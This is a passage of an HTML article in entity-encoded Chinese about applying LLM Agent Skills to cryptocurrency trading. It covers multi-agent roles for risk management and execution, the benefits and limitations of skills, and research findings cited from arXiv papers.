<strong>&#x98CE;&#x9669;&#x7BA1;&#x7406;&#x4EE3;&#x7406;</strong>&#xFF1A;&#x62E5;&#x6709;&#x201C;&#x98CE;&#x9669;&#x7BA1;&#x7406;&#x6280;&#x80FD;&#x201D;&#xFF0C;&#x5305;&#x542B;&#x91D1;&#x878D;&#x6CD5;&#x89C4;&#x3001;&#x6760;&#x6746;&#x89C4;&#x5219;&#x548C;&#x8499;&#x7279;&#x5361;&#x6D1B;&#x98CE;&#x9669;&#x4EF7;&#x503C;&#xFF08;VaR&#xFF09;&#x5206;&#x6790;&#x7684;&#x811A;&#x672C;&#x3002;&#x5B83;&#x76D1;&#x63A7;&#x655E;&#x53E3;&#x5E76;&#x5728;&#x8FDD;&#x53CD;&#x98CE;&#x9669;&#x9608;&#x503C;&#x65F6;&#x5426;&#x51B3;&#x4EA4;&#x6613;&#x3002; &#x2014; <strong>&#x6267;&#x884C;&#x4EE3;&#x7406;</strong>&#xFF1A;&#x914D;&#x5907;&#x201C;&#x4EA4;&#x6613;&#x6267;&#x884C;&#x6280;&#x80FD;&#x201D;&#xFF0C;&#x4E0E;&#x4EA4;&#x6613;&#x6240; API&#xFF08;&#x6A21;&#x62DF;&#x5668;&#x6216;&#x5B9E;&#x65F6;&#xFF09;&#x63A5;&#x53E3;&#xFF0C;&#x5904;&#x7406;&#x8BA2;&#x5355;&#x653E;&#x7F6E;&#x3001;&#x8DDF;&#x8E2A;&#x6ED1;&#x70B9;&#x7B49;&#x3002;</p><p>&#x8FD9;&#x4E9B;&#x4EE3;&#x7406;&#x8FDB;&#x884C;&#x901A;&#x4FE1;&#xFF1A;&#x4F8B;&#x5982;&#xFF0C;&#x5206;&#x6790;&#x5E08;&#x4EE3;&#x7406;&#x53EF;&#x80FD;&#x4EA7;&#x751F;&#x4FE1;&#x53F7;&#xFF0C;&#x7531;&#x98CE;&#x9669;&#x7BA1;&#x7406;&#x4EE3;&#x7406;&#x5BA1;&#x67E5;&#x3002;&#x6267;&#x884C;&#x4EE3;&#x7406;&#x7136;&#x540E;&#x6267;&#x884C;&#x6279;&#x51C6;&#x7684;&#x8BA2;&#x5355;&#x3002;&#x6BCF;&#x4E2A;&#x4EE3;&#x7406;&#x4F7F;&#x7528;&#x81EA;&#x5DF1;&#x7684;&#x6280;&#x80FD;&#x6765;&#x6267;&#x884C;&#x5176;&#x89D2;&#x8272;&#x3002;&#x6839;&#x636E; tradingAgents &#x5B9E;&#x9A8C;&#xFF0C;&#x8FD9;&#x79CD;&#x7ED3;&#x6784;&#x5316;&#x7684;&#x5DE5;&#x4F5C;&#x6D41;&#x7A0B;&#x4EA7;&#x751F;&#x4E86;&#x663E;&#x8457;&#x7684;&#x6536;&#x76CA;&#xFF1A;&#x5176;&#x7CFB;&#x7EDF;&#x5B9E;&#x73B0;&#x4E86;&#x6BD4;&#x57FA;&#x7EBF;&#x4EA4;&#x6613;&#x673A;&#x5668;&#x4EBA;&#x66F4;&#x9AD8;&#x7684;<strong>&#x7D2F;&#x8BA1;&#x6536;&#x76CA;&#x548C;&#x590F;&#x666E;&#x6BD4;&#x7387;</strong><a href="https://ar5iv.labs.arxiv.org/html/2412.20138?ref=defiplot.com#:~:text=underexplored,Sharpe%20ratio%2C%20and%20maximum%20drawdown">[10]</a>. &#x540C;&#x6837;&#xFF0C;Luo &#x7B49;&#x4EBA;&#xFF08;2025&#xFF09;&#x53D1;&#x73B0;&#xFF0C;&#x5C06;&#x4EFB;&#x52A1;&#x5206;&#x914D;&#x7ED9;&#x6570;&#x636E;&#x3001;&#x7814;&#x7A76;&#x548C;&#x51B3;&#x7B56;&#x4EE3;&#x7406;&#x4F18;&#x4E8E;&#x5355;&#x4E00;&#x201C;&#x5168;&#x624D;&#x201D;&#x6A21;&#x578B;&#xFF0C;&#x901A;&#x8FC7;&#x7F6E;&#x4FE1;&#x5EA6;&#x5171;&#x4EAB;&#x673A;&#x5236;&#x8C03;&#x6574;&#x9884;&#x6D4B;<a href="https://arxiv.org/abs/2501.00826?ref=defiplot.com#:~:text=final%20predictions%20based%20on%20confidence,pricing%2C%20portfolio%2C%20and%20explainability%20performance">[11]</a>.</p><p>&#x7C7B;&#x6BD4;&#x800C;&#x8A00;&#xFF0C;Agent Skills &#x65B9;&#x6CD5;&#x5141;&#x8BB8;&#x4E00;&#x4E2A;&#x57FA;&#x4E8E; LLM &#x7684;&#x201C;&#x8D85;&#x7EA7;&#x4EE3;&#x7406;&#x201D;&#x5185;&#x90E8;&#x6A21;&#x4EFF;&#x8FD9;&#x79CD;&#x5206;&#x5DE5;&#x3002;&#x5B83;&#x53EF;&#x4EE5;&#x5207;&#x6362;&#x4E0A;&#x4E0B;&#x6587;&#x5E76;&#x52A0;&#x8F7D;&#x9002;&#x5F53;&#x7684;&#x6280;&#x80FD;&#xFF08;&#x6709;&#x6548;&#x5730;&#x4F5C;&#x4E3A;&#x4EE3;&#x7406;&#x6A21;&#x5757;&#xFF09;&#x6765;&#x5904;&#x7406;&#x6BCF;&#x4E2A;&#x5B50;&#x4EFB;&#x52A1;&#x3002;&#x6280;&#x80FD;&#x4F5C;&#x4E3A; LLM &#x7684;&#x6A21;&#x5757;&#x5316;&#x8BA4;&#x77E5;&#x5DE5;&#x5177;&#xFF1A;&#x4E00;&#x4E2A;&#x7528;&#x4E8E;&#x6570;&#x636E;&#x5206;&#x6790;&#xFF0C;&#x53E6;&#x4E00;&#x4E2A;&#x7528;&#x4E8E;&#x7B56;&#x7565;&#x903B;&#x8F91;&#xFF0C;&#x7B49;&#x7B49;&#x3002;&#x8FD9;&#x6709;&#x52A9;&#x4E8E;&#x907F;&#x514D;&#x201C;&#x7535;&#x8BDD;&#x6548;&#x5E94;&#x201D;&#xFF0C;&#x5373;&#x5355;&#x4E00;&#x601D;&#x7EF4;&#x94FE;&#x5728;&#x957F;&#x4EFB;&#x52A1;&#x4E2D;&#x5931;&#x53BB;&#x7EC6;&#x8282;<a href="https://ar5iv.labs.arxiv.org/html/2412.20138?ref=defiplot.com#:~:text=an%20unstructured%20pool%20of%20information,track%20extended%20histories%20while%20filtering">[26]</a>.</p><h2 id="8%E3%80%81%E4%BA%A4%E6%98%93%E4%B8%AD%E7%9A%84%E6%8A%80%E8%83%BD%E4%BC%98%E5%8A%BF">8&#x3001;&#x4EA4;&#x6613;&#x4E2D;&#x7684;&#x6280;&#x80FD;&#x4F18;&#x52BF;</h2><p>&#xB7; <strong>&#x4E30;&#x5BCC;&#x7684;&#x77E5;&#x8BC6;&#x6574;&#x5408;</strong>&#xFF1A;&#x6280;&#x80FD;&#x6253;&#x5305;&#x4E86;&#x5E7F;&#x6CDB;&#x7684;&#x91D1;&#x878D;&#x77E5;&#x8BC6;&#x3002;&#x4F8B;&#x5982;&#xFF0C;Anthropic &#x7684;&#x793A;&#x4F8B; PDF &#x6280;&#x80FD;&#x6559; Claude &#x5982;&#x4F55;&#x901A;&#x8FC7;&#x7ED9;&#x4E88;&#x5176;&#x9886;&#x57DF;&#x6307;&#x4EE4;&#x6765;&#x586B;&#x5199;&#x8868;&#x5355;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=Skills%20and%20code%20execution">[9]</a>. &#x7C7B;&#x4F3C;&#x5730;&#xFF0C;&#x4EA4;&#x6613;&#x6280;&#x80FD;&#x53EF;&#x4EE5;&#x7F16;&#x7801;&#x590D;&#x6742;&#x7684;&#x91D1;&#x878D;&#x539F;&#x7406;&#xFF08;&#x4F8B;&#x5982;&#xFF0C;&#x6295;&#x8D44;&#x7EC4;&#x5408;&#x7406;&#x8BBA;&#x3001;&#x968F;&#x673A;&#x6307;&#x6807;&#xFF09;&#xFF0C;&#x800C; LLM &#x5355;&#x72EC;&#x53EF;&#x80FD;&#x65E0;&#x6CD5;&#x53EF;&#x9760;&#x751F;&#x6210;&#x3002;&#x6B63;&#x5982; Deng &#x7B49;&#x4EBA;&#x5728; FinMR &#x57FA;&#x51C6;&#x4E2D;&#x63D0;&#x5230;&#x7684;&#xFF0C;&#x9AD8;&#x7EA7;&#x91D1;&#x878D;&#x63A8;&#x7406;&#x9700;&#x8981;&#x590D;&#x6742;&#x7684;&#x516C;&#x5F0F;&#x548C;&#x9886;&#x57DF;&#x4E0A;&#x4E0B;&#x6587;<a href="https://ar5iv.labs.arxiv.org/html/2510.07852v1?ref=defiplot.com#:~:text=supports%20nuanced%20reasoning%2C%20allowing%20for,annotations%20enhance%20interpretability%20and%20facilitate">[27]</a> &#x2014;&#x2014;&#x8FD9;&#x7531;&#x9884;&#x5148;&#x7F16;&#x5199;&#x597D;&#x7684;&#x6280;&#x80FD;&#x5185;&#x5BB9;&#x5F88;&#x597D;&#x5730;&#x652F;&#x6301;&#x3002;</p><p>&#xB7; <strong>&#x6267;&#x884C;&#x6548;&#x7387;</strong>&#xFF1A;&#x901A;&#x8FC7;&#x5305;&#x62EC;&#x53EF;&#x6267;&#x884C;&#x6587;&#x4EF6;&#xFF0C;&#x6280;&#x80FD;&#x8BA9;&#x4EE3;&#x7406;&#x901A;&#x8FC7;&#x4EE3;&#x7801;&#x800C;&#x4E0D;&#x662F;&#x57FA;&#x4E8E; token &#x7684;&#x6A21;&#x62DF;&#x6267;&#x884C;&#x7E41;&#x91CD;&#x7684;&#x8BA1;&#x7B97;&#x3002;&#x901A;&#x8FC7; token &#x751F;&#x6210;&#x6392;&#x5E8F;&#x5217;&#x8868;&#x6216;&#x4F18;&#x5316;&#x6295;&#x8D44;&#x7EC4;&#x5408;&#x8FDC;&#x4E0D;&#x5982;&#x76F4;&#x63A5;&#x8FD0;&#x884C;&#x7B97;&#x6CD5;&#x9AD8;&#x6548;&#x548C;&#x53EF;&#x9760;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=Skills%20and%20code%20execution">[9]</a>. &#x8FD9;&#x5BF9;&#x56DE;&#x6D4B;&#x6216;&#x8FD0;&#x884C;&#x591A;&#x65E5;&#x6A21;&#x62DF;&#x7B49;&#x4EFB;&#x52A1;&#x81F3;&#x5173;&#x91CD;&#x8981;&#xFF0C;&#x901F;&#x5EA6;&#x548C;&#x51C6;&#x786E;&#x6027;&#x5F88;&#x91CD;&#x8981;&#x3002;</p><p>&#xB7; <strong>&#x4E0A;&#x4E0B;&#x6587;&#x53EF;&#x6269;&#x5C55;&#x6027;</strong>&#xFF1A;&#x6280;&#x80FD;&#x51CF;&#x8F7B;&#x4E86;&#x4E0A;&#x4E0B;&#x6587;&#x7A97;&#x53E3;&#x7684;&#x9650;&#x5236;&#x3002;&#x4E00;&#x4E2A;&#x4EA4;&#x6613;&#x4EE3;&#x7406;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x5C06;&#x6570;&#x636E;&#x5378;&#x8F7D;&#x5230;&#x5DE5;&#x5177;&#x6765;&#x5904;&#x7406;&#x6570;&#x6708;&#x7684;&#x4EF7;&#x683C;&#x6570;&#x636E;&#x548C;&#x6570;&#x5341;&#x4E2A;&#x53C2;&#x6570;&#x3002;&#x5F53;&#x9700;&#x8981;&#x65F6;&#xFF0C;&#x6280;&#x80FD;&#x4F1A;&#x5411;&#x4EE3;&#x7406;&#x63D0;&#x4F9B;&#x6587;&#x672C;&#x6458;&#x8981;&#x6216;&#x5173;&#x952E;&#x7EDF;&#x8BA1;&#x6570;&#x636E;&#x3002;&#x8FD9;&#x79CD;&#x9010;&#x6B65;&#x52A0;&#x8F7D;&#x4E0A;&#x4E0B;&#x6587;&#x7C7B;&#x4F3C;&#x4E8E;&#x6A21;&#x578B;&#x4F7F;&#x7528;&#x5916;&#x90E8;&#x77E5;&#x8BC6;&#x5E93;&#x6216;&#x63D0;&#x8BAE;&#x7684; Model Context Protocol &#x7684;&#x65B9;&#x5F0F;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=Progressive%20disclosure%20is%20the%20core,load%20information%20only%20as%20needed">[8]</a>.</p><p>&#xB7; <strong>&#x53EF;&#x79FB;&#x690D;&#x6027;</strong>&#xFF1A;&#x7531;&#x4E8E;&#x6280;&#x80FD;&#x5B58;&#x50A8;&#x5728;&#x6587;&#x4EF6;&#x4E2D;&#xFF08;&#x4F8B;&#x5982; GitHub &#x4ED3;&#x5E93;&#xFF09;&#xFF0C;&#x56E2;&#x961F;&#x53EF;&#x4EE5;&#x5171;&#x4EAB;&#x548C;&#x7248;&#x672C;&#x63A7;&#x5236;&#x4ED6;&#x4EEC;&#x7684;&#x4EA4;&#x6613;&#x4E13;&#x4E1A;&#x77E5;&#x8BC6;&#x3002;&#x5728; Claude &#x4E0A;&#x5F00;&#x53D1;&#x7684;&#x7B56;&#x7565;&#x53EF;&#x4EE5;&#x8F6C;&#x79FB;&#x5230; OpenAI &#x4EE3;&#x7406;&#x6216;&#x53CD;&#x4E4B;&#xFF0C;&#x51CF;&#x5C11;&#x4F9B;&#x5E94;&#x5546;&#x9501;&#x5B9A;<a href="https://markets.financialcontent.com/wral/article/tokenring-2025-12-24-anthropic-launches-agent-skills-open-standard-the-new-universal-language-for-ai-interoperability?ref=defiplot.com#:~:text=Tech%20giants%20are%20already%20lining,the%20utility%20of%20their%20platforms">[28]</a><a href="https://markets.financialcontent.com/wral/article/tokenring-2025-12-24-anthropic-launches-agent-skills-open-standard-the-new-universal-language-for-ai-interoperability?ref=defiplot.com#:~:text=Skills.">[29]</a>. &#x8FD9;&#x79CD; AI &#x5DE5;&#x4F5C;&#x6D41;&#x7684;&#x201C;USB-C&#x201D;&#x6807;&#x51C6;&#x5316;&#x5E2E;&#x52A9;&#x4ECE;&#x4E1A;&#x8005;&#x5EFA;&#x7ACB;&#x5728;&#x5F7C;&#x6B64;&#x7684;&#x5DE5;&#x4F5C;&#x4E4B;&#x4E0A;&#x3002;</p><p>&#xB7; <strong>&#x53EF;&#x89E3;&#x91CA;&#x6027;</strong>&#xFF1A;&#x56E0;&#x4E3A;&#x6280;&#x80FD;&#x660E;&#x786E;&#x6982;&#x8FF0;&#x4E86;&#x5176;&#x903B;&#x8F91;&#xFF0C;&#x4EE3;&#x7406;&#x7684;&#x51B3;&#x7B56;&#x53EF;&#x4EE5;&#x8FFD;&#x6EAF;&#x5230;&#x8FD9;&#x4E9B;&#x6307;&#x4EE4;&#x6216;&#x4EE3;&#x7801;&#x3002;&#x4F8B;&#x5982;&#xFF0C;&#x5982;&#x679C;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EA4;&#x6613;&#x6280;&#x80FD;&#x5305;&#x542B;&#x4E00;&#x4E2A;&#x8BB0;&#x5F55;&#x7684;&#x98CE;&#x9669;&#x89C4;&#x5219;&#xFF08;&#x201C;&#x6B62;&#x635F;&#x5728; 2%&#x201D;&#xFF09;&#xFF0C;&#x90A3;&#x4E48;&#x4EE3;&#x7406;&#x5728;&#x7B56;&#x7565;&#x4E2D;&#x7684;&#x6B62;&#x635F;&#x9009;&#x62E9;&#x53EF;&#x4EE5;&#x89E3;&#x91CA;&#x4E3A;&#x9075;&#x5FAA;&#x8BE5;&#x89C4;&#x5219;&#x3002;&#x8FD9;&#x4E0E;&#x4E0D;&#x900F;&#x660E;&#x7684;&#x7AEF;&#x5230;&#x7AEF;&#x795E;&#x7ECF;&#x653F;&#x7B56;&#x5F62;&#x6210;&#x5BF9;&#x6BD4;&#x3002;</p><p>&#xB7; <strong>&#x9002;&#x5E94;&#x6027;</strong>&#xFF1A;&#x6280;&#x80FD;&#x53EF;&#x4EE5;&#x968F;&#x65F6;&#x95F4;&#x66F4;&#x65B0;&#x3002;&#x5982;&#x679C;&#x5E02;&#x573A;&#x683C;&#x5C40;&#x53D1;&#x751F;&#x53D8;&#x5316;&#xFF08;&#x4F8B;&#x5982;&#xFF0C;DeFi &#x4EE3;&#x5E01;&#x884C;&#x4E3A;&#x4E0D;&#x540C;&#xFF09;&#xFF0C;&#x6280;&#x80FD;&#x7684;&#x6587;&#x6863;&#x6216;&#x4EE3;&#x7801;&#x53EF;&#x4EE5;&#x8C03;&#x6574;&#x800C;&#x4E0D;&#x5FC5;&#x91CD;&#x65B0;&#x8BAD;&#x7EC3;&#x6A21;&#x578B;&#x3002;&#x4EE3;&#x7406;&#x5C06;&#x5728;&#x4E0B;&#x4E00;&#x4E2A;&#x4EFB;&#x52A1;&#x4E2D;&#x62FE;&#x53D6;&#x65B0;&#x7684;&#x6307;&#x4EE4;&#x3002;</p><p>&#x8FD9;&#x4E9B;&#x4F18;&#x52BF;&#x5EFA;&#x7ACB;&#x5728;&#x4E4B;&#x524D;&#x5DE5;&#x4F5C;&#x7684;&#x89C1;&#x89E3;&#x4E4B;&#x4E0A;&#x3002;&#x4F8B;&#x5982;&#xFF0C;FinLLM &#x7814;&#x7A76;&#xFF08;Yang &#x7B49;&#x4EBA;&#xFF0C;2023&#xFF09;&#x5F3A;&#x8C03;&#x901A;&#x8FC7;&#x5F00;&#x653E;&#x7684; LLM &#x5DE5;&#x5177;&#xFF08;&#x5982; FinGPT&#xFF09;&#x6C11;&#x4E3B;&#x5316;&#x91D1;&#x878D;&#x4E13;&#x4E1A;&#x77E5;&#x8BC6;&#xFF0C;&#x63D0;&#x4F9B;&#x7528;&#x4E8E;&#x91D1;&#x878D;&#x4EFB;&#x52A1;&#x7684;&#x7BA1;&#x9053;&#x548C;&#x5FAE;&#x8C03;<a href="https://arxiv.org/abs/2306.06031?ref=defiplot.com#:~:text=approach%2C%20providing%20researchers%20and%20practitioners,URL%20and%20this%20https%20URL">[4]</a>. Agent Skills &#x540C;&#x6837;&#x65E8;&#x5728;&#x6C11;&#x4E3B;&#x5316;<strong>&#x7A0B;&#x5E8F;</strong>&#xFF08;&#x4E0D;&#x4EC5;&#x4EC5;&#x662F;&#x9759;&#x6001;&#x77E5;&#x8BC6;&#xFF09;&#xFF0C;&#x901A;&#x8FC7;&#x63D0;&#x4F9B;&#x4E13;&#x4E1A;&#x77E5;&#x8BC6;&#x7684;&#x6807;&#x51C6;&#x5BB9;&#x5668;&#x3002;</p><h2 id="9%E3%80%81%E5%B1%80%E9%99%90%E6%80%A7%E5%92%8C%E6%8C%91%E6%88%98">9&#x3001;&#x5C40;&#x9650;&#x6027;&#x548C;&#x6311;&#x6218;</h2><p>&#x6709;&#x51E0;&#x4E2A;&#x6CE8;&#x610F;&#x4E8B;&#x9879;&#x503C;&#x5F97;&#x8BA8;&#x8BBA;&#x3002;&#x9996;&#x5148;&#xFF0C;&#x6210;&#x529F;&#x5E76;&#x975E;&#x4FDD;&#x8BC1;&#xFF1A;&#x8FC7;&#x53BB;&#x7684; AI &#x4EA4;&#x6613;&#x7B56;&#x7565;&#x5F80;&#x5F80;&#x5B58;&#x5728;&#x8FC7;&#x62DF;&#x5408;&#x95EE;&#x9898;&#x3002;Gort &#x7B49;&#x4EBA;&#xFF08;2022&#xFF09;&#x6307;&#x51FA;&#xFF0C;RL &#x4EE3;&#x7406;&#x53EF;&#x80FD;&#x4F1A;&#x5229;&#x7528;&#x56DE;&#x6D4B;&#x4E2D;&#x7684;&#x201C;&#x5047;&#x9633;&#x6027;&#x201D;&#xFF0C;&#x56E0;&#x6B64;&#x4ED6;&#x4EEC;&#x63D0;&#x51FA;&#x7EDF;&#x8BA1;&#x6D4B;&#x8BD5;&#x6765;&#x8FC7;&#x6EE4;&#x865A;&#x5047;&#x7B56;&#x7565;<a href="https://arxiv.org/abs/2209.05559?ref=defiplot.com#:~:text=,Finally">[12]</a>. &#x540C;&#x6837;&#xFF0C;&#x6211;&#x4EEC;&#x7684;&#x57FA;&#x4E8E;&#x6280;&#x80FD;&#x7684;&#x4EE3;&#x7406;&#x5FC5;&#x987B;&#x5728;&#x65B0;&#x6570;&#x636E;&#x4E0A;&#x4ED4;&#x7EC6;&#x9A8C;&#x8BC1;&#x4EE5;&#x907F;&#x514D;&#x201C;&#x6570;&#x636E;&#x7AA5;&#x63A2;&#x504F;&#x5DEE;&#x201D;&#x3002;</p><p>&#x5176;&#x6B21;&#xFF0C;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EA4;&#x6613;&#x6280;&#x80FD;&#x7684;&#x8D28;&#x91CF;&#x53D6;&#x51B3;&#x4E8E;&#x5176;&#x4F5C;&#x8005;&#x3002;&#x4E00;&#x4E2A;&#x6307;&#x5BFC;&#x7C97;&#x7CD9;&#x6216;&#x4EE3;&#x7801;&#x6709;&#x7F3A;&#x9677;&#x7684;&#x6280;&#x80FD;&#x53EF;&#x80FD;&#x4F1A;&#x8BEF;&#x5BFC;&#x4EE3;&#x7406;&#x3002;&#x5B89;&#x5168;&#x6027;&#x4E5F;&#x662F;&#x4E00;&#x4E2A;&#x95EE;&#x9898;&#xFF1A;Anthropic &#x8B66;&#x544A;&#x6076;&#x610F;&#x6280;&#x80FD;&#x53EF;&#x80FD;&#x4F1A;&#x6CC4;&#x9732;&#x6570;&#x636E;&#x6216;&#x635F;&#x5BB3;&#x7CFB;&#x7EDF;&#xFF0C;&#x56E0;&#x6B64;&#x6280;&#x80FD;&#x5E94;&#x6765;&#x81EA;&#x53EF;&#x4FE1;&#x6765;&#x6E90;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=Here%20are%20some%20helpful%20guidelines,with%20authoring%20and%20testing%20skills">[24]</a>. &#x5728;&#x4EA4;&#x6613;&#x80CC;&#x666F;&#x4E0B;&#xFF0C;&#x88AB;&#x7834;&#x574F;&#x7684;&#x6280;&#x80FD;&#x53EF;&#x80FD;&#x4ECE;&#x4EA4;&#x6613;&#x865A;&#x5047;&#x4FE1;&#x53F7;&#x5230;&#x6CC4;&#x9732;&#x4E13;&#x6709;&#x6570;&#x636E;&#x3002;&#x56E0;&#x6B64;&#xFF0C;&#x4E25;&#x683C;&#x7684;&#x5BA1;&#x8BA1;&#xFF08;&#x5BA1;&#x67E5;&#x6280;&#x80FD;&#x4EE3;&#x7801;&#x548C;&#x6307;&#x4EE4;&#xFF09;&#x662F;&#x5FC5;&#x4E0D;&#x53EF;&#x5C11;&#x7684;&#x3002;</p><p>&#x7B2C;&#x4E09;&#xFF0C;&#x5E02;&#x573A;&#x7684;&#x4E0D;&#x53EF;&#x9884;&#x6D4B;&#x6027;&#x610F;&#x5473;&#x7740;&#x5373;&#x4F7F;&#x6700;&#x597D;&#x7684;&#x4EE3;&#x7406;&#x4E5F;&#x4F1A;&#x6709;&#x65F6;&#x4E8F;&#x635F;&#x3002;&#x6CA1;&#x6709;&#x4EFB;&#x4F55;&#x6280;&#x80FD;&#x53EF;&#x4EE5;&#x7F16;&#x7801;&#x6C34;&#x6676;&#x7403;&#x3002;&#x610F;&#x5916;&#x4E8B;&#x4EF6;&#xFF08;&#x9ED1;&#x5929;&#x9E45;&#xFF09;&#x6216;&#x5FEB;&#x901F;&#x7684;&#x60C5;&#x7EEA;&#x53D8;&#x5316;&#x53EF;&#x80FD;&#x4F1A;&#x632B;&#x8D25;&#x7B97;&#x6CD5;&#x3002;&#x6301;&#x7EED;&#x76D1;&#x63A7;&#x548C;&#x4EBA;&#x5DE5;&#x76D1;&#x7763;&#x4ECD;&#x7136;&#x662F;&#x5FC5;&#x8981;&#x7684;&#x3002;</p><p>&#x6700;&#x540E;&#xFF0C;&#x5B58;&#x5728;&#x5B9E;&#x9645;&#x9650;&#x5236;&#x3002;&#x5B9E;&#x65F6;&#x4EA4;&#x6613;&#x9700;&#x8981;&#x7A33;&#x5B9A;&#x3001;&#x4F4E;&#x5EF6;&#x8FDF;&#x7684;&#x7CFB;&#x7EDF;&#x3002;&#x4E3A;&#x6BCF;&#x7B14;&#x4EA4;&#x6613;&#x51B3;&#x7B56;&#x8C03;&#x7528; LLM &#x5E76;&#x52A0;&#x8F7D;&#x6280;&#x80FD;&#x53EF;&#x80FD;&#x5BF9;&#x9AD8;&#x9891;&#x7B56;&#x7565;&#x6765;&#x8BF4;&#x592A;&#x6162;&#x3002;&#x6280;&#x80FD;&#x66F4;&#x9002;&#x5408;&#x4E8E;&#x7B56;&#x7565;&#x751F;&#x6210;&#x3001;&#x7814;&#x7A76;&#x548C;&#x65E5;&#x5E38;&#x51B3;&#x7B56;&#x652F;&#x6301;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x6BEB;&#x79D2;&#x7EA7;&#x4EA4;&#x6613;&#x3002;</p><h2 id="10%E3%80%81%E8%AE%A8%E8%AE%BA">10&#x3001;&#x8BA8;&#x8BBA;</h2><p>&#x901A;&#x8FC7;&#x878D;&#x5408;&#x8FD9;&#x4E9B;&#x7EC4;&#x4EF6;&#xFF0C;Agent Skills &#x53EF;&#x4EE5;&#x6539;&#x53D8; AI &#x5BF9;&#x5F85;&#x4EA4;&#x6613;&#x7684;&#x65B9;&#x5F0F;&#x3002;&#x8FD9;&#x4E2A;&#x6846;&#x67B6;&#x7ED3;&#x5408;&#x4E86;&#x91D1;&#x878D;&#x5EFA;&#x6A21;&#x3001;&#x8F6F;&#x4EF6;&#x5DE5;&#x7A0B;&#x548C; AI &#x7684;&#x60F3;&#x6CD5;&#x3002;&#x4EE3;&#x7406;&#x5B9E;&#x9645;&#x4E0A;&#x53D8;&#x6210;&#x4E86;&#x4E00;&#x4E2A;<strong>&#x865A;&#x62DF;&#x4EA4;&#x6613;&#x56E2;&#x961F;</strong>&#xFF1A;&#x901A;&#x7528; LLM&#x201C;&#x5927;&#x8111;&#x201D;&#x534F;&#x8C03;&#x4E13;&#x95E8;&#x7684;&#x6280;&#x80FD;&#x5DE5;&#x5177;&#x3002;&#x5B83;&#x53EF;&#x4EE5;&#x7ED3;&#x5408;&#x5B9A;&#x91CF;&#x4E25;&#x8C28;&#x6027;&#xFF08;&#x901A;&#x8FC7;&#x4EE3;&#x7801;&#xFF09;&#x4E0E;&#x4EBA;&#x7C7B;&#x822C;&#x7684;&#x63A8;&#x7406;&#x548C;&#x521B;&#x9020;&#x529B;&#xFF08;&#x901A;&#x8FC7;&#x8BED;&#x8A00;&#xFF09;&#x3002;</p><p>&#x51E0;&#x4E2A;&#x6700;&#x8FD1;&#x7684;&#x7ED3;&#x679C;&#x589E;&#x5F3A;&#x4E86;&#x4E50;&#x89C2;&#x60C5;&#x7EEA;&#x3002;Kirtac &#x548C; Germano&#xFF08;2024&#xFF09;&#x8BC1;&#x660E; LLM &#x5728;&#x4ECE;&#x65B0;&#x95FB;&#x4E2D;&#x63D0;&#x53D6;&#x60C5;&#x611F;&#x65B9;&#x9762;&#x8868;&#x73B0;&#x51FA;&#x8272;&#xFF0C;&#x4F7F;&#x7528;&#x57FA;&#x4E8E; OPT &#x7684;&#x6A21;&#x578B;&#x5B9E;&#x73B0;&#x4E86; 3.05 &#x7684;&#x590F;&#x666E;&#x6BD4;&#x7387;&#xFF0C;&#x8FDC;&#x8FDC;&#x8D85;&#x8FC7;&#x4F20;&#x7EDF;&#x7684;&#x5B57;&#x5178;&#x65B9;&#x6CD5;<a href="https://arxiv.org/abs/2412.19245?ref=defiplot.com#:~:text=returns%2C%20challenging%20the%20efficacy%20of,financial%20regulation%20and%20policy%20analysis">[30]</a>. &#x5C06;&#x8FD9;&#x79CD; LLM &#x60C5;&#x7EEA;&#x6280;&#x80FD;&#x6574;&#x5408;&#x5230;&#x6211;&#x4EEC;&#x7684;&#x7CFB;&#x7EDF;&#x4E2D;&#x53EF;&#x4EE5;&#x6307;&#x5BFC;&#x5173;&#x4E8E;&#x4E8B;&#x4EF6;&#x98CE;&#x9669;&#x7684;&#x4EA4;&#x6613;&#x51B3;&#x7B56;&#x3002;&#x5728;&#x6280;&#x672F;&#x65B9;&#x9762;&#xFF0C;Jiang &#x548C; Liang&#xFF08;2017&#xFF09;&#x8868;&#x660E;&#xFF0C;&#x5373;&#x4F7F;&#x662F;&#x7B80;&#x5355;&#x7684;&#x6DF1;&#x5EA6; RL &#x7F51;&#x7EDC;&#x4E5F;&#x80FD;&#x5728;&#x51E0;&#x4E2A;&#x6708;&#x5185;&#x4E3A;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x6295;&#x8D44;&#x7EC4;&#x5408;&#x4EA7;&#x751F; 10 &#x500D;&#x7684;&#x56DE;&#x62A5;<a href="https://arxiv.org/abs/1612.01277?ref=defiplot.com#:~:text=network%20is%20trained%20with%200,to%20any%20other%20financial%20markets">[17]</a>. &#x5982;&#x679C;&#x5305;&#x88C5;&#x6210;&#x6280;&#x80FD;&#xFF08;&#x4F8B;&#x5982;&#xFF0C;&#x9884;&#x8BAD;&#x7EC3;&#x7684; RL &#x4EA4;&#x6613;&#x673A;&#x5668;&#x4EBA;&#xFF09;&#xFF0C;&#x8FD9;&#x53EF;&#x4EE5;&#x8FDB;&#x4E00;&#x6B65;&#x63D0;&#x5347;&#x6027;&#x80FD;&#x3002;&#x5173;&#x952E;&#x662F;&#x6A21;&#x5757;&#x5316;&#xFF1A;&#x4E00;&#x4E2A;&#x4EE3;&#x7406;&#x6280;&#x80FD;&#x53EF;&#x80FD;&#x5206;&#x6790;&#x793E;&#x4EA4;&#x5A92;&#x4F53;&#x7684;&#x55A7;&#x56A3;&#xFF0C;&#x53E6;&#x4E00;&#x4E2A;&#x53EF;&#x80FD;&#x5904;&#x7406;&#x884D;&#x751F;&#x54C1;&#x5B9A;&#x4EF7;&#xFF0C;&#x7B49;&#x7B49;&#x3002;</p><p>Agent Skills &#x4E5F;&#x7B26;&#x5408;&#x65B0;&#x5174;&#x7684;&#x57FA;&#x51C6;&#x3002;FinMR &#x6570;&#x636E;&#x96C6;&#xFF08;Giurc&#x103;neanu &amp; Liu, 